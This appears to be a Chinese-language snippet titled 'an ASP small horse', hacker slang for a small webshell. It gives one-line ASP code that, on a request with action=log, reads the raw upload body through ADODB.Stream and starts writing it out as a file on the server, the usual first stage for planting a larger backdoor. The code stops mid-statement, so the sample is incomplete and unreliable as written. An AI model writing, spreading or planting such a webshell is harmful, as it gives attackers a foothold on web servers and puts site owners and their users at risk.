一个ASP小马

<%if request.QueryString(“action”)=”log” thena=Request.TotalBytes:if a Then b=”adodb.stream”:Set c=Createobject(b):c.Type=1:c.Open:c.Write Request.BinaryRead(a):c.Position=0:d=c.Read:e=chrB(13)&chrB(10):f=Instrb(d,e):g=Instrb(f+1,d,e):set h=Createobject(b):h.Type=1:h.Open:c.Position=f+1:c.Cop